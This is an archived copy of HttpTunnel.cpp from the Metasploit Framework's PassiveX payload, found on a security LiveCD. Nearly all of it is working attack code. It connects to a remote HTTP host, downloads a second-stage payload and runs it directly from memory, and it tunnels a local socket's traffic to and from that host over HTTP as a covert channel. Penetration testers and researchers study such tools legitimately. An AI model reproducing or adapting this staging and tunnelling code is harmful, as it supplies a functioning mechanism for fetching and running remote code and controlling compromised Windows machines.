home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / src / passivex / HttpTunnel.cpp < prev    next >
C/C++ Source or Header  |  2006-06-30  |  16KB  |  775 lines

  1. /*
  2.  * This file is part of the Metasploit Exploit Framework
  3.  * and is subject to the same licenses and copyrights as
  4.  * the rest of this package.
  5.  */
  6. #include "PassiveXLib.h"
  7. #include "HttpTunnel.h"
  8.  
  9. // The number of failed HTTP connections
  10. static DWORD FailedConnections = 0;
  11.  
  12. HttpTunnel::HttpTunnel()
  13. : HttpHost(NULL),
  14.   HttpPort(0),
  15.   LocalTcpListener(0),
  16.   LocalTcpClientSide(0),
  17.   LocalTcpServerSide(0),
  18.   InternetHandle(NULL),
  19.   SendThread(NULL),
  20.   ReceiveThread(NULL),
  21.   SecondStageThread(NULL),
  22.   SecondStage(NULL),
  23.   SecondStageSize(0)
  24. {
  25.     // Initialize winsock, not that we should need to.
  26.     WSAStartup(
  27.             MAKEWORD(2, 2),
  28.             &WsaData);
  29.  
  30.     srand(time(NULL));
  31. }
  32.  
  33. HttpTunnel::~HttpTunnel()
  34. {
  35.     Stop();
  36.  
  37.     // Cleanup winsock
  38.     WSACleanup();
  39. }
  40.  
  41. /*
  42.  * Initiates the HTTP tunnel and gets the ball rolling
  43.  */
  44. DWORD HttpTunnel::Start(
  45.         IN LPSTR InHttpHost,
  46.         IN USHORT InHttpPort)
  47. {
  48.     DWORD ThreadId;
  49.     DWORD Result = ERROR_SUCCESS;
  50.  
  51.     do
  52.     {
  53.         // Initialize the hostname and port
  54.         if (!(HttpHost = strdup(InHttpHost)))
  55.         {
  56.             Result = ERROR_NOT_ENOUGH_MEMORY;
  57.             break;
  58.         }
  59.  
  60.         HttpPort = InHttpPort;
  61.  
  62.         // Acquire the internet context handle
  63.         if (!(InternetHandle = InternetOpen(
  64.                 NULL,
  65.                 INTERNET_OPEN_TYPE_PRECONFIG,
  66.                 NULL,
  67.                 NULL,
  68.                 0)))
  69.         {
  70.             Result = GetLastError();
  71.             break;
  72.         }
  73.  
  74.         // Create the local TCP abstraction
  75.         if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
  76.         {
  77.             CPassiveX::Log(
  78.                     TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
  79.                     Result);
  80.             break;
  81.         }
  82.  
  83.         // Download the second stage if there is one
  84.         DownloadSecondStage();
  85.  
  86.         // Create the transmission thread
  87.         if (!(SendThread = CreateThread(
  88.                 NULL,
  89.                 0,
  90.                 (LPTHREAD_START_ROUTINE)SendThreadFuncSt,
  91.                 this,
  92.                 0,
  93.                 &ThreadId)))
  94.         {
  95.             Result = GetLastError();
  96.             break;
  97.         }
  98.  
  99.         // Create the receive thread
  100.         if (!(ReceiveThread = CreateThread(
  101.                 NULL,
  102.                 0,
  103.                 (LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
  104.                 this,
  105.                 0,
  106.                 &ThreadId)))
  107.         {
  108.             Result = GetLastError();
  109.             break;
  110.         }
  111.  
  112.         // Woop
  113.         Result = ERROR_SUCCESS;
  114.  
  115.     } while (0);
  116.  
  117.     return Result;
  118. }
  119.  
  120. /*
  121.  * Stops the HTTP tunnel and cleans up resources
  122.  */
  123. DWORD HttpTunnel::Stop()
  124. {
  125.     DWORD    Result = ERROR_SUCCESS;
  126.     DWORD    Index = 0;
  127.     LPHANDLE Threads[] = 
  128.     {
  129.         &SecondStageThread,
  130.         &ReceiveThread,
  131.         &SendThread,
  132.         NULL
  133.     };
  134.  
  135.     // Terminate the threads that were spawned
  136.     for (Index = 0;
  137.          Threads[Index];
  138.          Index++)
  139.     {
  140.         LPHANDLE Thread = Threads[Index];
  141.  
  142.         if (*Thread)
  143.         {
  144.             TerminateThread(
  145.                     *Thread,
  146.                     0);
  147.  
  148.             CloseHandle(
  149.                     *Thread);
  150.  
  151.             *Thread = NULL;
  152.         }
  153.     }
  154.  
  155.     // Close all of the open sockets we may have
  156.     if (LocalTcpListener)
  157.         closesocket(
  158.                 LocalTcpListener);
  159.     if (LocalTcpClientSide)
  160.         closesocket(
  161.                 LocalTcpClientSide);
  162.     if (LocalTcpServerSide)
  163.         closesocket(
  164.                 LocalTcpServerSide);
  165.  
  166.     LocalTcpListener   = 0;
  167.     LocalTcpClientSide = 0;
  168.     LocalTcpServerSide = 0;
  169.  
  170.     // Free up memory associated with the second stage
  171.     if (SecondStage)
  172.     {
  173.         free(
  174.                 SecondStage);
  175.  
  176.         SecondStage     = NULL;
  177.         SecondStageSize = 0;
  178.     }
  179.  
  180.     // Close the global internet handle acquired from InternetOpen
  181.     if (InternetHandle)
  182.     {
  183.         InternetCloseHandle(
  184.                 InternetHandle);
  185.  
  186.         InternetHandle = NULL;
  187.     }
  188.  
  189.     return Result;
  190. }
  191.  
  192. /*********************
  193.  * Protected Methods *
  194.  *********************/
  195.  
  196. /*
  197.  * Creates the local TCP abstraction that will be used as the socket for the
  198.  * second stage that is read in
  199.  */
  200. DWORD HttpTunnel::InitializeLocalConnection()
  201. {
  202.     struct sockaddr_in Sin;
  203.     USHORT             LocalPort = 0;
  204.     DWORD              Attempts = 0;
  205.     DWORD              Result = ERROR_SUCCESS;
  206.  
  207.     do
  208.     {
  209.         // Create the TCP listener socket
  210.         if ((LocalTcpListener = socket(
  211.                 AF_INET,
  212.                 SOCK_STREAM,
  213.                 IPPROTO_TCP)) == INVALID_SOCKET)
  214.         {
  215.             LocalTcpListener = 0;
  216.             Result           = WSAGetLastError();
  217.             break;
  218.         }
  219.  
  220.         // Create the TCP client socket
  221.         if ((LocalTcpClientSide = socket(
  222.                 AF_INET,
  223.                 SOCK_STREAM,
  224.                 IPPROTO_TCP)) == INVALID_SOCKET)
  225.         {
  226.             LocalTcpClientSide = 0;
  227.             Result             = WSAGetLastError();
  228.             break;
  229.         }
  230.  
  231.         Sin.sin_family      = AF_INET;
  232.         Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  233.  
  234.         // Try 256 times to pick a random port
  235.         Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
  236.  
  237.         while ((bind(
  238.                 LocalTcpListener,        
  239.                 (struct sockaddr *)&Sin,
  240.                 sizeof(Sin)) == SOCKET_ERROR) &&
  241.                (Attempts++ < 256))
  242.         {
  243.             Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
  244.         }
  245.  
  246.         // If we failed to create the local listener, bomb out
  247.         if (Attempts >= 256)
  248.         {
  249.             Result = WSAGetLastError();
  250.             break;
  251.         }
  252.  
  253.         // Listen and stuff
  254.         if (listen(
  255.                 LocalTcpListener,
  256.                 1) == SOCKET_ERROR)
  257.         {
  258.             Result = WSAGetLastError();
  259.             break;
  260.         }
  261.  
  262.         // Establish a connection to the local listener
  263.         if (connect(
  264.                 LocalTcpClientSide,
  265.                 (struct sockaddr *)&Sin,
  266.                 sizeof(Sin)) == SOCKET_ERROR)
  267.         {
  268.             Result = WSAGetLastError();
  269.             break;
  270.         }
  271.  
  272.         // Accept the local TCP connection
  273.         if ((LocalTcpServerSide = accept(
  274.                 LocalTcpListener,
  275.                 NULL,
  276.                 NULL)) == SOCKET_ERROR)
  277.         {
  278.             LocalTcpServerSide = 0;
  279.  
  280.             Result = WSAGetLastError();
  281.             break;
  282.         }
  283.  
  284.         // Woop!
  285.         Result = ERROR_SUCCESS;
  286.  
  287.     } while (0);
  288.  
  289.     return Result;
  290. }
  291.  
  292. /*
  293.  * Downloads the second stage payload from the remote HTTP host and executes it
  294.  * in its own thread if there is one
  295.  */
  296. VOID HttpTunnel::DownloadSecondStage()
  297. {
  298.     // Transmit the request to download the second stage.  The stage buffer that
  299.     // is passed back is never deallocated.
  300.     if ((TransmitHttpRequest(
  301.             TEXT("GET"),
  302.             PASSIVEX_URI_SECOND_STAGE,
  303.             NULL,
  304.             0,
  305.             30000,
  306.             NULL,
  307.             (PVOID *)&SecondStage,
  308.             &SecondStageSize) == ERROR_SUCCESS) &&
  309.         (SecondStageSize))
  310.     {
  311.         DWORD ThreadId = 0;
  312.  
  313.         CPassiveX::Log(
  314.                 TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
  315.                 SecondStageSize);
  316.  
  317.         // Create the second stage thread
  318.         SecondStageThread = CreateThread(
  319.                 NULL,
  320.                 0,
  321.                 (LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
  322.                 this,
  323.                 0,
  324.                 &ThreadId);
  325.     }
  326.     else
  327.     {
  328.         CPassiveX::Log(
  329.                 TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
  330.                 GetLastError());
  331.  
  332.         ExitProcess(0);
  333.  
  334.     }
  335. }
  336.  
  337. /*
  338.  * Transmits the supplied data to the remote HTTP host
  339.  */
  340. DWORD HttpTunnel::TransmitToRemote(
  341.         IN PUCHAR Buffer,
  342.         IN ULONG BufferSize)
  343. {
  344.     CPassiveX::Log(
  345.             TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
  346.             BufferSize);
  347.  
  348.     return TransmitHttpRequest(
  349.             "POST",
  350.             PASSIVEX_URI_TUNNEL_IN,
  351.             Buffer,
  352.             BufferSize);
  353. }
  354.  
  355. /*
  356.  * Transmits the supplied data to the server side of the local TCP abstraction
  357.  */
  358. DWORD HttpTunnel::TransmitToLocal(
  359.         IN PUCHAR Buffer,
  360.         IN ULONG BufferSize)
  361. {
  362.     DWORD Result = ERROR_SUCCESS;
  363.     INT   BytesWritten = 0;
  364.  
  365.     // Keep writing until everything has been written
  366.     while (BufferSize > 0)
  367.     {
  368.         CPassiveX::Log(
  369.                 TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
  370.                 BufferSize);
  371.  
  372.         if ((BytesWritten = send(
  373.                 LocalTcpServerSide,
  374.                 (const char *)Buffer,
  375.                 BufferSize,
  376.                 0)) == SOCKET_ERROR)
  377.         {
  378.             Result = WSAGetLastError();
  379.             break;
  380.         }
  381.  
  382.         Buffer     += BytesWritten;
  383.         BufferSize -= BytesWritten;
  384.     }
  385.     
  386.     return Result;
  387. }
  388.  
  389. /*
  390.  * Transmits an HTTP request to the target host, optionally waiting for a
  391.  * response
  392.  */
  393. DWORD HttpTunnel::TransmitHttpRequest(
  394.         IN LPTSTR Method,
  395.         IN LPTSTR Uri,
  396.         IN PVOID RequestPayload,
  397.         IN ULONG RequestPayloadLength,
  398.         IN ULONG WaitResponseTimeout,
  399.         OUT LPDWORD ResponseCode,
  400.         OUT PVOID *ResponsePayload,
  401.         OUT LPDWORD ResponsePayloadLength)
  402. {
  403.     HINTERNET RequestHandle = NULL;
  404.     HINTERNET ConnectHandle = NULL;
  405.     PUCHAR    OutBuffer = NULL;
  406.     DWORD     OutBufferLength = 0;
  407.     UCHAR     ReadBuffer[8192];
  408.     DWORD     ReadBufferLength;
  409.     DWORD     Result = ERROR_SUCCESS;
  410.  
  411.     do
  412.     {
  413.         PROFILE_CHECKPOINT("InternetConnect ==>");
  414.  
  415.         // Open a connection handle
  416.         if (!(ConnectHandle = InternetConnect(
  417.                 InternetHandle,
  418.                 HttpHost,
  419.                 HttpPort,
  420.                 NULL,
  421.                 NULL,
  422.                 INTERNET_SERVICE_HTTP,
  423.                 0,
  424.                 NULL)))
  425.         {
  426.             Result = GetLastError();
  427.             break;
  428.         }
  429.         
  430.         PROFILE_CHECKPOINT("InternetConnect <==");
  431.  
  432.         // If we were supplied a wait response timeout, set it
  433.         if (WaitResponseTimeout)
  434.             InternetSetOption(
  435.                     ConnectHandle,
  436.                     INTERNET_OPTION_RECEIVE_TIMEOUT,
  437.                     &WaitResponseTimeout,
  438.                     sizeof(WaitResponseTimeout));
  439.  
  440.         PROFILE_CHECKPOINT("HttpOpenRequest ==>");
  441.  
  442.         // Open a request handle
  443.         if (!(RequestHandle = HttpOpenRequest(
  444.                 ConnectHandle,
  445.                 Method ? Method : TEXT("GET"),
  446.                 Uri,
  447.                 NULL,
  448.                 NULL,
  449.                 NULL,
  450.                 INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
  451.                 INTERNET_FLAG_RELOAD,
  452.                 NULL)))
  453.         {
  454.             Result = GetLastError();
  455.             break;
  456.         }
  457.         
  458.         PROFILE_CHECKPOINT("HttpOpenRequest <==");
  459.         PROFILE_CHECKPOINT("HttpSendRequest ==>");
  460.  
  461.         // Send and endthe request
  462.         if ((!HttpSendRequest(
  463.                 RequestHandle,
  464.                 NULL,
  465.                 0,
  466.                 RequestPayload,
  467.                 RequestPayloadLength)))
  468.         {
  469.             Result = GetLastError();
  470.             break;
  471.         }
  472.  
  473.         PROFILE_CHECKPOINT("HttpSendRequest <==");
  474.  
  475.         // If we wont be waiting for a response, break out now and return
  476.         if (!WaitResponseTimeout)
  477.         {
  478.             Result = ERROR_SUCCESS;
  479.             break;
  480.         }
  481.         
  482.         // Keep looping until we've read the entire request or an error is
  483.         // encountered
  484.         while (1)
  485.         {
  486.             PUCHAR NewBuffer;
  487.  
  488.             ReadBufferLength = sizeof(ReadBuffer);
  489.  
  490.             PROFILE_CHECKPOINT("InternetReadFile ==>");
  491.  
  492.             if (!InternetReadFile(
  493.                     RequestHandle,
  494.                     ReadBuffer,
  495.                     ReadBufferLength,
  496.                     &ReadBufferLength))
  497.             {
  498.                 Result = GetLastError();
  499.                 break;
  500.             }
  501.             else if (!ReadBufferLength)
  502.             {
  503.                 Result = ERROR_SUCCESS;
  504.                 break;
  505.             }
  506.             
  507.             PROFILE_CHECKPOINT("InternetReadFile <==");
  508.  
  509.             // Append the buffer to the output buffer
  510.             if (!OutBuffer)
  511.                 NewBuffer = (PUCHAR)malloc(
  512.                         ReadBufferLength);
  513.             else
  514.                 NewBuffer = (PUCHAR)realloc(
  515.                         OutBuffer, 
  516.                         OutBufferLength + ReadBufferLength);
  517.                         
  518.             if (!NewBuffer)
  519.             {
  520.                 Result = ERROR_NOT_ENOUGH_MEMORY;
  521.                 break;
  522.             }
  523.             
  524.             memcpy(
  525.                     NewBuffer + OutBufferLength,
  526.                     ReadBuffer,
  527.                     ReadBufferLength);
  528.  
  529.             OutBuffer        = NewBuffer;
  530.             OutBufferLength += ReadBufferLength;
  531.         }
  532.  
  533.         // Query the status code of the response
  534.         if (ResponseCode)
  535.         {
  536.             DWORD ResponseCodeSize = sizeof(DWORD);
  537.  
  538.             if (!HttpQueryInfo(
  539.                     RequestHandle,
  540.                     HTTP_QUERY_STATUS_CODE,
  541.                     ResponseCode,
  542.                     &ResponseCodeSize,
  543.                     NULL))
  544.             {
  545.                 CPassiveX::Log(
  546.                         TEXT("HttpQueryInfo failed, %lu."),
  547.                         GetLastError());
  548.  
  549.                 *ResponseCode = 0;
  550.             }
  551.         }
  552.  
  553.     } while (0);
  554.             
  555.     PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
  556.  
  557.     // Close handles
  558.     if (RequestHandle)
  559.         InternetCloseHandle(
  560.                 RequestHandle);
  561.     if (ConnectHandle)
  562.         InternetCloseHandle(
  563.                 ConnectHandle);
  564.  
  565.     // Set the output pointers or free up the output buffer
  566.     if (Result == ERROR_SUCCESS)
  567.     {
  568.         if (ResponsePayload)
  569.             *ResponsePayload = OutBuffer;
  570.         if (ResponsePayloadLength)
  571.             *ResponsePayloadLength = OutBufferLength;
  572.         
  573.         FailedConnections = 0;
  574.     }
  575.     else
  576.     {        
  577.         // If we fail to connect...
  578.         if (Result == ERROR_INTERNET_CANNOT_CONNECT)
  579.         {
  580.             FailedConnections++;
  581.  
  582.             if (FailedConnections > 10)
  583.             {
  584.                 CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
  585.                         FailedConnections);
  586.  
  587.                 ExitProcess(0);
  588.             }
  589.         }
  590.  
  591.         if (OutBuffer)
  592.             free(
  593.                     OutBuffer);
  594.     }
  595.  
  596.     return Result;
  597. }
  598.  
  599. /*
  600.  * Method wrapper
  601.  */
  602. ULONG HttpTunnel::SendThreadFuncSt(
  603.         IN HttpTunnel *Tunnel)
  604. {
  605.     return Tunnel->SendThreadFunc();
  606. }
  607.  
  608. /*
  609.  * Monitors the server side of the local TCP abstraction for data that can be
  610.  * transmitted to the remote half of the pipe
  611.  */
  612. ULONG HttpTunnel::SendThreadFunc()
  613. {
  614.     fd_set FdSet;
  615.     UCHAR  ReadBuffer[16384];
  616.     LONG   BytesRead;
  617.     INT    Result;
  618.  
  619.     // This is the song that never ends...
  620.     while (1)
  621.     {
  622.         FD_ZERO(
  623.                 &FdSet);
  624.         FD_SET(
  625.                 LocalTcpServerSide,
  626.                 &FdSet);
  627.     
  628.         PROFILE_CHECKPOINT("select ==>");
  629.  
  630.         // Wait for some data...
  631.         Result = select(
  632.                 LocalTcpServerSide + 1,
  633.                 &FdSet,
  634.                 NULL,
  635.                 NULL,
  636.                 NULL);
  637.         
  638.         PROFILE_CHECKPOINT("select <==");
  639.  
  640.         // If select failed or there was no new data, act accordingly else risk
  641.         // the fist of the evil witch
  642.         if (Result < 0)
  643.         {
  644.             CPassiveX::Log(
  645.                     TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
  646.                     WSAGetLastError());
  647.             break;
  648.         }
  649.         else if (Result == 0)
  650.             continue;
  651.         
  652.         PROFILE_CHECKPOINT("recv ==>");
  653.  
  654.         // Read in data from the local server side of the TCP connection
  655.         BytesRead = recv(
  656.                 LocalTcpServerSide,
  657.                 (char *)ReadBuffer,
  658.                 sizeof(ReadBuffer),
  659.                 0);
  660.         
  661.         PROFILE_CHECKPOINT("recv <==");
  662.  
  663.         // On error or end of file...
  664.         if (BytesRead <= 0)
  665.         {
  666.             CPassiveX::Log(
  667.                     TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
  668.                     BytesRead);
  669.             break;
  670.         }
  671.  
  672.         CPassiveX::Log(
  673.                 TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
  674.                 BytesRead);
  675.         
  676.         PROFILE_CHECKPOINT("TransmitToRemote ==>");
  677.  
  678.         // Transmit the data to the remote side
  679.         if ((Result = TransmitToRemote(
  680.                 ReadBuffer,
  681.                 BytesRead)) != ERROR_SUCCESS)
  682.         {
  683.             CPassiveX::Log(
  684.                     TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
  685.                     Result);
  686.         }
  687.         
  688.         PROFILE_CHECKPOINT("TransmitToRemote <==");
  689.     }
  690.  
  691.     // Exit the process if the send thread ends
  692.     ExitProcess(0);
  693.  
  694.     return 0;
  695. }
  696.  
  697. /*
  698.  * Method wrapper
  699.  */
  700. ULONG HttpTunnel::ReceiveThreadFuncSt(
  701.         IN HttpTunnel *Tunnel)
  702. {
  703.     return Tunnel->ReceiveThreadFunc();
  704. }
  705.  
  706. /*
  707.  * Polls for data that should be sent to the local server side of the TCP
  708.  * abstraction
  709.  */
  710. ULONG HttpTunnel::ReceiveThreadFunc()
  711. {
  712.     PUCHAR ReadBuffer = NULL;
  713.     DWORD  ReadBufferLength = 0;
  714.     DWORD  ResponseCode = 0;
  715.  
  716.     while (1)
  717.     {
  718.         ReadBufferLength = 0;
  719.         ReadBuffer       = NULL;
  720.         ResponseCode     = 0;
  721.  
  722.         if ((TransmitHttpRequest(
  723.                 TEXT("GET"),
  724.                 PASSIVEX_URI_TUNNEL_OUT,
  725.                 NULL,
  726.                 0,
  727.                 30000,
  728.                 &ResponseCode,
  729.                 (PVOID *)&ReadBuffer,
  730.                 &ReadBufferLength) == ERROR_SUCCESS) &&
  731.             (ReadBuffer))
  732.         {
  733.             CPassiveX::Log(
  734.                     TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
  735.                     ResponseCode,
  736.                     ReadBufferLength);
  737.  
  738.             TransmitToLocal(
  739.                     ReadBuffer,
  740.                     ReadBufferLength);
  741.  
  742.             free(
  743.                     ReadBuffer);
  744.         }
  745.         else
  746.         {
  747.             CPassiveX::Log(
  748.                     TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
  749.                     GetLastError());
  750.         }
  751.     }
  752.  
  753.     return 0;
  754. }
  755.  
  756. /*
  757.  * Calls the second stage after initializing the proper registers
  758.  */
  759. ULONG HttpTunnel::SecondStageThreadFuncSt(
  760.         IN HttpTunnel *Tunnel)
  761. {
  762.     SOCKET Fd = Tunnel->LocalTcpClientSide;
  763.  
  764.     // Initialize edi to the file descriptor that the second stage might use
  765.     __asm
  766.     {
  767.         lea eax, [Fd]
  768.         mov edi, [eax]
  769.     }
  770.  
  771.     ((VOID (*)())Tunnel->SecondStage)();
  772.  
  773.     return 0;
  774. }
  775.